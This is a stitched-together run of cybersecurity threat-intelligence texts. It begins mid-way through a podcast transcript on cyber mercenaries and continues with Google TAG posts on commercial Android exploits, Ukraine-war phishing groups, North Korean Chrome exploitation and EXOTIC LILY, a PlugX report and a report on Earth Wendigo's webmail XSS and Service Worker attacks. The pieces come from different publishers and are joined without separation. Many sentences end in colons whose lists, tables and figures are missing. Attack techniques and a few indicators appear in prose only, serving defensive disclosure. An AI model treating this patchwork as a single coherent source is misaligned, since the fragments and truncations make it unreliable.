Let's look at logistics and how to utilize mercenary forces on the physical side in any conflict.


You still need to identify them.


You need to pay them.


You need to get them to the battlefield.


You need to equip them.


There was a lot of [00:09:00] logistics associated with it.


Now you take cyber, and you take cyber mercenaries, regardless of their affiliation.


They could be patriotic hackers, they could just be guns for hire or cyber guns for hire, so to speak.


So they can come from different flavors.


But the one thing that is unique across the board is that you could stand them up very quickly.


There is also the ability to create false flag operations.


You can have countries create cyber operations against any adversary and then make it look like it's coming from another group.


There is not only the actual mercenaries, who they are, where they are, and how do you combat or defend against them.


But now it's like, are they really mercenaries?


Are they really just uniform soldiers behind keyboards?


So [00:10:00] it's an interesting thing that nobody really likes to talk about it.


I suspect really the reason why it wasn't brought up in Davos is that it is a very gray area that both sides utilize and take advantage of.


Jon:


I think nation states are going to have to deal with that and maybe come up with some thoughts and policies around this.


One thing, Ed – obviously, cyber war, hybrid warfare is probably here to stay.


When you think as nation state, what should a nation state be looking at for the future?


Are there certain industries, or certain areas that they should focus a lot of their efforts on ensuring that they're protecting those areas of their country?


Ed:


Yeah, sure, absolutely.


Just like on the physical or kinetic side, we need to be very cognizant of our critical infrastructure.


The Department of Homeland Security (DHS), [00:11:00] they've created 16 critical infrastructure sectors and there's been talk about bringing those down.


But we really need to understand what is critical.


I mean, we saw that with the pipeline attacks, we saw that, like you said, from the Ukraine and power attacks, we saw that in the advisories from DHS and FBI of Russian actors probing our energy sector.


Obviously, this is where our focus needs to be, hands down.


So, it's anything that disrupts our critical infrastructure, our own supply chains and, yes, from a military perspective for obvious reasons, but it's also for us on a day-to-day operational perspective.


Our financial sector is much stronger and more mature, I would say, comparatively to other sectors.


But the one thing is that if you do maintain or are able to have an impact, [00:12:00] you look at the economy now and you look at the market the way it is now, everything that we're going through, from inflation to supply chain issues, it doesn't take much to have an additional impact.


These are the things that I think countries across the globe need to understand, especially here in Western countries, and especially NATO countries, understanding that they need to be shoring up, and almost like DHS says in their program, Shields Up, is really focused on being proactive and protecting those critical sectors.


I think one sector that we talked about earlier, but we really need to think about is the news industry.


Because again, that's where we're going to get our information if a conflict does come up.


And so we’ve got to make sure and maintain the news capability, we’ve got to maintain that they are delivering what they say they're delivering; what's truth, what isn't truth, and flagging that kind of [00:13:00] information.


Ed, this has been a great discussion.


I really appreciate that we were able to tackle this one.


It's something we can probably continue to tackle as we continue to see this evolve with the Russia-Ukraine conflict that's going on and seeing how that shapes up.


Ed:


This is one of my favorite topics, obviously.


Jon:


Well, everybody, thanks for joining us again.


On episode four of #TrendTalksBizSec.


We'll be back in two weeks to talk about another topic and Ed and I are enjoying these.


You can certainly follow us on Twitter, on Facebook, on LinkedIn, as well as on YouTube with these.


So, take care, have a great day.


Thanks Ed.


Have a good day.


[00:14:00] Additional Resources:


Link to #TrendTalks YouTube playlist where the rest of Jon and Ed’s videos live: https://www.youtube.com/playlist?list=PLZm70v-MT4Jobcu4xqIx4_aSkzL_kPX_M


Link to Jon’s panel discussion in Davos: https://www.youtube.com/watch?v=GAZng8u9FXk


Jon’s social media: @jonlclay (Twitter), https://www.linkedin.com/in/jon-clay-0880512/ (LinkedIn)


Ed’s social media: @Ed_E_Cabrera (Twitter), https://www.linkedin.com/in/ed-e-cabrera/ (LinkedIn)


Tags  Cyber Crime | Expert Perspective | Cyber Threats | Data center | ICS OT | APT & Targeted Attacks | Network | Articles, News, Reports


To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.


In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.


This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities: We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.


Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.


The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.


Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.


All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.


The campaigns were limited — in each case, we assess the number of targets was in the tens of users.


Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.


If the link was not active, the user was redirected directly to a legitimate website.


We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.


We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.


ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.


These commands include recording audio, adding CA certificates, and hiding apps.


The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.


This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.


We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.


We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.


More technical details about this vulnerability are available in this RCA by Maddie Stone.


Related IOCs


In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.


We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.


The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.


This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.


Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.


We haven’t retrieved a copy of the exploit.


In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.


The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.


The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.


At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.


Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.


In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.


Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.


We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.


We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.


TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.


We remain committed to updating the community as we uncover these campaigns.


Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.


We look forward to continuing our work in this space and advancing the safety and security of our users around the world.


NOTE: On May 20th, we updated our attribution to more precisely describe our findings.


Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.


Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.


Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.


Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.


Financially motivated and criminal actors are also using current events as a means for targeting users.


As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.


We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.


Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.


The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.


The data is then exfiltrated via email to a compromised email account.


Malware samples:


TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.


Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.


Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.


When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.


Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.


The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.


The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.


Within these files is a link to an attacker controlled phishing domain.


These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.


This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.


If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.


There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.


Both pages from this campaign are shown below.


In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.


The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.


Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.


In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.


Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.


We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.


We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.


The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.


We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.


While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.


In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.


Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.


Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.


Financially motivated and criminal actors are also using current events as a means for targeting users.


For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.


TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.


As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.


We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.


Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.


While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.


Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.


However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.


These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.


We have not observed any Gmail accounts successfully compromised during these campaigns.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.


In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.


While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.


Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.


The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.


Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.


Recently observed Ghostwriter credential phishing domains:


The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.


We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.


While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.


On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.


These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.


We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.


However, other organizations and countries may have been targeted.


One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.


The exploit was patched on February 14, 2022.


The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.


We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.


It is possible that other North Korean government-backed attackers have access to the same exploit kit.


In this blog, we will walk through the observed tactics, techniques and procedures, share relevant IOCs and analyze the exploit kit used by the attackers.


In line with our current disclosure policy, we are providing these details 30 days after the patch release.


The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.


The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.


The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.


Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.


Attacker-Owned Fake Job Domains: Exploitation URLs:


Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.


This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.


In other cases, we observed fake websites — already set up to distribute trojanized cryptocurrency applications — hosting iframes and pointing their visitors to the exploit kit.


Attacker-Owned Websites: Compromised Websites (Feb 7 - Feb 9): Exploitation URLs:


The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.


The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.


The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.


This script collected all available client information such as the user-agent, resolution, etc. and then sent it back to the exploitation server.


If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.


If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.


We unfortunately were unable to recover any of the stages that followed the initial RCE.


Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.


These safeguards included: Although we recovered a Chrome RCE, we also found evidence where the attackers specifically checked for visitors using Safari on MacOS or Firefox (on any OS), and directed them to specific links on known exploitation servers.


We did not recover any responses from those URLs.


Example Exploit Kit:


The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.


As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.


We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.


We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.


TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.


We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.


In early September 2021, Threat Analysis Group (TAG) observed a financially motivated threat actor we refer to as EXOTIC LILY, exploiting a 0day in Microsoft MSHTML (CVE-2021-40444).


Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike).


Initial access brokers are the opportunistic locksmiths of the security world, and it’s a full-time job.


These groups specialize in breaching a target in order to open the doors—or the Windows—to the malicious actor with the highest bid.


EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol.


At the peak of EXOTIC LILY’s activity, we estimate they were sending more than 5,000 emails a day, to as many as 650 targeted organizations globally.


Up until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus.


We have observed this threat actor deploying tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation.


Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, further evading detection mechanisms.


This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.


EXOTIC LILY’s attack chain has remained relatively consistent throughout the time we’ve been tracking the group: One notable technique is the use of domain and identity spoofing as a way of gaining additional credibility with a targeted organization.


In the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to “.us”, “.co” or “.biz”.


Initially, the group would create entirely fake personas posing as employees of a real company.


That would sometimes consist of creating social media profiles, personal websites and generating a fake profile picture using a public service to create an AI-generated human face.


In November 2021, the group began to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.


Using spoofed email accounts, attackers would then send spear phishing emails under the pretext of a business proposal, such as seeking to outsource a software development project or an information security service.


Attackers would sometimes engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.


At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker’s email, which presents additional detection challenges.


Further evidence suggests an operator’s responsibilities might include: A breakdown of the actor’s communication activity shows the operators are working a fairly typical 9-to-5 job, with very little activity during the weekends.


Distribution of the actor’s working hours suggest they might be working from a Central or an Eastern Europe timezone.


Although the group came to our attention initially due to its use of documents containing an exploit for CVE-2021-40444, they later switched to the delivery of ISO files with hidden BazarLoader DLLs and LNK shortcuts.


These samples have some indicators that suggest they were custom-built to be used by the group.


For example, metadata embedded in the LNK shortcuts shows that a number of fields, such as the “Machine Identifier” and “Drive Serial Number” were shared with BazarLoader ISOs distributed via other means, however other fields such as the command line arguments were unique for samples distributed by EXOTIC LILY.


In March, the group continued delivering ISO files, but with a DLL containing a custom loader which is a more advanced variant of a first-stage payload previously seen during CVE-2021-40444 exploitation.


The loader can be recognized by its use of a unique user-agent “bumblebee” which both variants share.


The malware, hence dubbed BUMBLEBEE, uses WMI to collect various system details such as OS version, user name and domain name, which are then exfiltrated in JSON format to a C2.


In response, it expects to receive one of the several supported “tasks”, which include execution of shellcode, dropping and running executable files.


At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.


This malware can be found using this VirusTotal query.


EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post.


Earlier reports of attacks exploiting CVE-2021-40444 (by Microsoft and other members of the security community) have also indicated overlaps between domains involved in the delivery chain of an exploit and infrastructure used for BazarLoader and Trickbot distribution.


We believe the shift to deliver BazarLoader, along with some other indicators such as a unique Cobalt Strike profile (described by RiskIQ) further confirms the existence of a relationship between EXOTIC LILY and actions of a Russian cyber crime group tracked as WIZARD SPIDER (CrowdStrike), FIN12 (Mandiant, FireEye) and DEV-0193 (Microsoft).


While the nature of those relationships remains unclear, EXOTIC LILY seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors.


As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.


In collaboration with Gmail and Safe Browsing, we are improving protections by adding additional warnings for emails originating from website contact forms, better identification of spoofing, and adjusting the reputation of email file sharing notifications.


Additionally, we’re working with Google’s CyberCrime Investigation Group to share relevant details and indicators with law enforcement.


TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from this threat actor’s activities.


We hope that improved understanding of the group’s tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.


Recent domains used in email campaigns: BazarLoader ISO samples: Recent BUMBLEBEE ISO samples: Recent BUMBLEBEE C2:


Recently, FireEye published a blog titled “Operation Poisoned Hurricane” which detailed the use of PlugX malware variants signed with legitimate certificates that used Google Code project pages for command and control (C2).


We were able to uncover multiple additional samples exploiting the same technique as well as an additional Google Code account with multiple projects containing encoded commands.


The attacks against Palo Alto Networks customers, which took place between early June to early July, also targeted users in East Asia; in this case an international law firm’s regional office and a major university.


All of the attacks were detected by our WildFire platform.


Of note, three of the Google Code projects associated with the newly uncovered account were added during the past few days, indicating it is still in active use.  Below is a current screenshot of the newly uncovered Google Code account’s projects.


The encoded commands decode to the below IP addresses.


Interestingly, “/p/pthon”, which is the project page used by some of the newly discovered samples detailed later in this blog, is the only page with the encoded command not included in the summary and is instead in text only on the page itself.


The three pages created since we discovered this user are admmmomn, eyewheye, and joompler.


Table 1  We discovered a total of seven samples, five of which were not in VirusTotal prior to our submission.


Table 2 contains details of a PlugX sample using the PixelPlus Co., Ltd certificate that is currently only detected by four AV vendors.


It has been in use in the wild since at least early June and is the earliest sample related to this activity our team has so far found.


It was targeted against a major university.


It uses one of the Google Code pages noted in FireEye’s blog, “/p/updata-server”, but had a different C2 redirect, noted below.


Interestingly, the IP resolved by the initial website hosting the PlugX malware also served as a C2 server for different malware in mid-December 2013 (MD5: ddd46ce5e5eaaa8e61ce11a121a79266).


At that time the C2 server was qq7712409.3322[.]org.


Table 2


The PlugX sample in Table 3 also uses the legitimate PixelPlus Co., Ltd certificate and was also targeted against the university.


This sample was not represented in VirusTotal.


It is correctly identified by eleven AV vendors as PlugX malware.


In addition, it also used the same Google Code page and redirect as the previous sample.


The registrant information associated with the website hosting the malware is a domain reseller.


Table 3


We were able to uncover an additional two samples using the QTI International Inc certificate and Google Code pages.


The first sample in the below table was not in VirusTotal and targeted the same university as the previous samples.


Only three AV vendors correctly identified it as PlugX malware.


Table 4  The second sample using the QTI International Inc certificate also uses IP 211.233.89.182 for C2 but does not first connect to a Google Code page and is not PlugX.


Instead it contained two separate Trojans; one known as Cudofows.A by Microsoft, and one only detected by two AV vendors in VirusTotal known as Backdoor.Win32.Miancha.f by Kaspersky.


This malware also targeted the university.


Of note, the PlugX sample in Table 8 uses a different certificate but was downloaded from the same website.


It also uses the Google Code page “/p/tempzz” for C2, which was also listed in FireEye’s blog.


The website hosting the malware was registered 4 June 2014 via eNom, a well-known domain name registrar.


The registrant address is labtestshowlong[@]outlook.com, which has not been used to register any other domains as of 14 August.


Table 5


Our team was able to further uncover three new samples using the Ssanyong Motor Co., Ltd certificate and Google Code C2 redirection.


None of these were in VirusTotal.


The below sample also uses the Google Code page “/p/pthon”, which was newly uncovered during this research.


The PlugX sample in Table 4 used the same Google Code page and redirect, but the QTI International Inc certificate.


The below PlugX sample was only detected as PlugX malware by two AV vendors.


Table 6


The PlugX sample in Table 7 also targeted the same university as all previous samples.


Eight AV vendors correctly identified it.


Table 7


The final new sample using the SSanyong Motor Co., Ltd certificate is an interesting mix.


It was downloaded from the same website as the sample in Table 5; however, it was targeted against an international law firm’s East Asian office, and uses a Google Code page identified in FireEye’s blog for C2, but an IP not listed in the blog post.


In addition, it was only detected by two AV vendors.


Table 8  We see several indications this is an ongoing campaign, including:  These new methods have somewhat limited efficacy, as further C2 commands would be more obviously detectable because the C2 server no longer appears to be a legitimate website.


However, it is highly likely there are still more unknowns related to this activity, as the actors conducting it have shown an understanding of basic perimeter network defense and some ability to adapt around it.


Prior to publishing this blog, we notified both Microsoft and Google of the malicious accounts using their services in an effort to help thwart this malicious activity.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


We discovered a new campaign that has been targeting several organizations — including government organizations, research institutions and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely-used in Taiwan.


With no clear connection to any previous attack group, we gave this new threat actor the name “Earth Wendigo.”


Additional investigation shows that the threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.


However, this is a separate series of attacks from their operation in Taiwan, which this report covers.


Figure 1.


The attack flow of Earth Wendigo’s operation      Figure 2.


An example of a spear-phishing email sent by Earth Wendigo to a democracy activist.


The text mentions that someone had tried to log in to the user’s account and that Google had blocked the login attempt.


The blue button says, “Check here.”


Initial Access


and


Propagation


The attack begins with a spear-phishing email that is appended with obfuscated JavaScript.


Once the victim opens the email on their webmail page, the appended JavaScript will load malicious scripts from a remote server operated by the threat actor.


The scripts are designed to perform malicious behaviors, including:   Stealing browser cookies and webmail session keys and then sending them to the remote server.


Appending their malicious script to the victim’s email signature to propagate the infection to their contacts.


Exploiting a webmail system’s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently.


Registering a malicious JavaScript code to Service Worker, a web browser feature that allows JavaScript to intercept and manipulate HTTPS requests between client and server.


The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above.


(This is also the first time we found an in-the-wild attack that leverages Service Worker.)  Exfiltration of the mailbox


After the attackers gain a foothold into the system — either through XSS injection or Service Worker — the next (and final part) of the attack chain, the exfiltration of the mailbox, is initiated.


The Earth Wendigo threat actor will establish a WebSocket connection between the victims and their WebSocket server via a JavaScript backdoor.


The WebSocket server instructs the backdoor on the victim’s browser to read emails from the webmail server and then send the content and attachments of the emails back to the WebSocket server.


We will share more details of the attack chain in the following paragraphs.


The victim will receive a spear-phishing email disguised as an advertisement with a discount coupon from an online shopping website — however, an obfuscated malicious JavaScript is embedded inside.


The email leverages the webmail system’s search suggestion function to trigger the webpage to execute their script instead of directly running the malicious script.


This is done to evade static security checks.


The email will generate multiple email search requests to the webmail system via the CSS function ”backgroup-image” using their malicious code as a search keyword to make the system register it as a frequently searched keyword.


Next, a new “embed” HTML element is created to load the result of the search suggestion by finding the keyword “java” on the webmail server.


The returned suggestion is the JavaScript code that was searched during the first step and has now been indirectly loaded and used to execute the malicious code.


This approach allows the threat actor to hide their malicious code inside CSS elements to prevent detection by security solutions that employ static analysis.


At the end of this step, the code will create another new script element that will load other malicious JavaScript codes from remote servers.


Figure 3. The spear-phishing email disguised as an advertisement for a shopping coupon      Figure 4.


The malicious JavaScript hidden inside the CSS element     Interestingly, we found many other emails that have injected their malicious JavaScript code at the bottom to load their malicious code from remote servers.


However, these emails don’t look like phishing emails and seemed more like real email sent from normal users within the same organization.


Further investigation revealed that the attacker had modified the victims’ email signatures through malicious code injection.


This means that all of the emails sent by the victim with the modified mail signature will have the malicious code appended at the end, which is how we found a normal email that was also injected with malicious code.


We think the threat actor used this approach to attempt to infect the victim’s contacts for further propagation.


Figure 5. Malicious script appended on the victim’s email signature      Figure 6.


The malicious script used to read and modify the victim’s email signature.


As soon as the user executes the malicious script in the email, a cookie stealer script will be delivered and launched on the browser.


The script generates a request to “/cgi-bin/start,” which is a wrapper page embedded with the webmail session key.


The script will then extract the session key from the page while also collecting browser cookies.


The script will send an HTTP GET request to remove the server with all the collected keys and cookies appended on the query string to transfer the stolen information.


The framework used to deliver and manage these XSS attack scripts is called “XSSER.ME” or “XSS Framework.” The stolen session keys and browser cookies are also sent to the framework to store in the database.   While a stolen session key may allow the attacker to log into their target’s webmail system without a password, note that this is not the Earth Wendigo operation's ultimate goal.       Figure 7.


The malicious script to steal the browser cookie and session key     Infection of email accounts


After the initial execution of malicious code with the approaches we mentioned above, the attacker implemented steps to ensure that their malicious script would be constantly loaded and executed by their targets.


The actor prepared two different infection methods.


The first involves injecting malicious code into the webpage via an XSS vulnerability on the webmail system.


The vulnerability, which exists inside the webmail system’s shortcut feature, allows users to create links on the webmail front page.


The attacker can add a shortcut with a crafted payload by exploiting the XSS vulnerability, which replaces part of the original script from the webmail system with malicious JavaScript code.


If this is successful, the victim will load the malicious code whenever they access the webmail page with the malicious shortcut added.


Note that the infection will not impact all of the users on the system simultaneously, but only those with infected mail accounts.


We have reported the vulnerability to the company that developed the webmail system, which informed us that the vulnerability had been fixed since January 2020.


It should not affect those who are using the latest version of the webmail system.


Figure 8.


A shortcut containing malicious code that was added to the webmail system      Figure 9.


The query format used to trigger the XSS vulnerability     Service Worker script exploitation


Another way the threat actor infects victims is by registering malicious JavaScript to the Service Worker script, which is a programmable network proxy inside the browser that provides an extended layer for websites and web applications to handle their communications while the network is unreachable.


The security risk of Service Worker has been discussed and demonstrated by both PoC work and academic research — for example, a registered Service Worker could intercept and manipulate the requests between the client and the web server.


By examining one of the malicious scripts from the Earth Wendigo campaign, we discovered that it uploaded the tampered Service Worker script to the webmail server disguised as an original script provided by the server.


It then registers the uploaded script to the user’s Service Worker before removing it from the server immediately after registration.


